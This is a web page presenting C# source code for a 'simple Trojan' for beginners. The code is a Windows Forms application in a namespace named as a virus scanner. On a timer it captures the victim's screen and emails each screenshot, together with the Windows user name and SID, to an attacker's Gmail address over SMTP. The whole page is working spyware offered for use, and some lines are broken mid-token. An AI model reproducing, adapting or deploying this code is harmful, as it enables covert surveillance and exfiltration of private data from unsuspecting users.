C# Sample Trojan

Create A Simple Trojan Using This Sample Code Of C#

Trojan Programming for beginners in C# - sample
source code
C# Code for very simple
Trojan.
using System;
using
System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Drawing.Imaging;
using System.Net;
namespace VirusScaner
{
public partial class Form1 : Form
{
string printScreen = null;
static int i = 0;
public Form1()
{
InitializeComponent();
}
private static Bitmap
BitMapCreater()
{
Rectangle rect =
Screen.PrimaryScreen.Bounds;
int color =
Screen.PrimaryScreen.
BitsPerPixel;
PixelFormat pFormat;
switch (color)
{
case 8:
case 16:
pFormat =
PixelFormat.Format16bppRgb
565;
break;
case 24:
pFormat =
PixelFormat.Format24bppRgb;
break;
case 32:
pFormat =
PixelFormat.Format32bppArgb;
break;
default:
pFormat =
PixelFormat.Format32bppArgb;
break;
}
Bitmap bmp = new Bitmap
(rect.Width, rect.Height,
pFormat);
Graphics g =
Graphics.FromImage(bmp);
g.CopyFromScreen(rect.Left,
rect.Top, 0, 0, rect.Size);
return bmp;
}
private static string sendMail
(System.Net.Mail.MailMessage
mm)
{
try
{
string smtpHost =
"smtp.gmail.com";
string userName =
"username@gmail.com";//write
your email address
string password =
"************";//write
password
System.Net.Mail.SmtpClient
mClient = new
System.Net.Mail.SmtpClient();
mClient.Port = 587;
mClient.EnableSsl = true;
mClient.UseDefaultCredentials =
false;
mClient.Credentials = new
NetworkCredential(userName,
password);
mClient.Host = smtpHost;
mClient.DeliveryMethod =
System.Net.Mail.
SmtpDeliveryMethod.Network;
mClient.Send(mm);
}
catch (Exception ex)
{
System.Console.Write
(ex.Message);
}
return "Send Sucessfully";
}
private void Form1_Load(object
sender, EventArgs e)
{
}
private void
timer1_Tick_1(object sender,
EventArgs e)
{
i = i + 1;
string sysName = string.Empty;
string sysUser = string.Empty;
Bitmap b = BitMapCreater();
printScreen = string.Format("{0}
{1}", Path.GetTempPath(),
"screen" + i + ".jpg");
b.Save(printScreen,
ImageFormat.Jpeg);
System.Net.Mail.MailAddress
toAddress = new
System.Net.Mail.MailAddress
("xxxxx@gmail.com");
System.Net.Mail.MailAddress
fromAddress = new
System.Net.Mail.MailAddress
("remoteMachine@yahoo.com");
System.Net.Mail.MailMessage mm
= new
System.Net.Mail.MailMessage
(fromAddress, toAddress);
sysName =
System.Security.Principal.
WindowsIdentity.GetCurrent
().Name.ToString();
sysUser =
System.Security.Principal.
WindowsIdentity.GetCurrent
().User.ToString();
mm.Subject = sysName + " " +
sysUser;
string filename = string.Empty;
System.Net.Mail.Attachment
mailAttachment = new
System.Net.Mail.Attachment
(printScreen);
mm.Attachments.Add
(mailAttachment);
mm.IsBodyHtml = true;
mm.BodyEncoding =
System.Text.Encoding.UTF8;
sendMail(mm);
}
}
}
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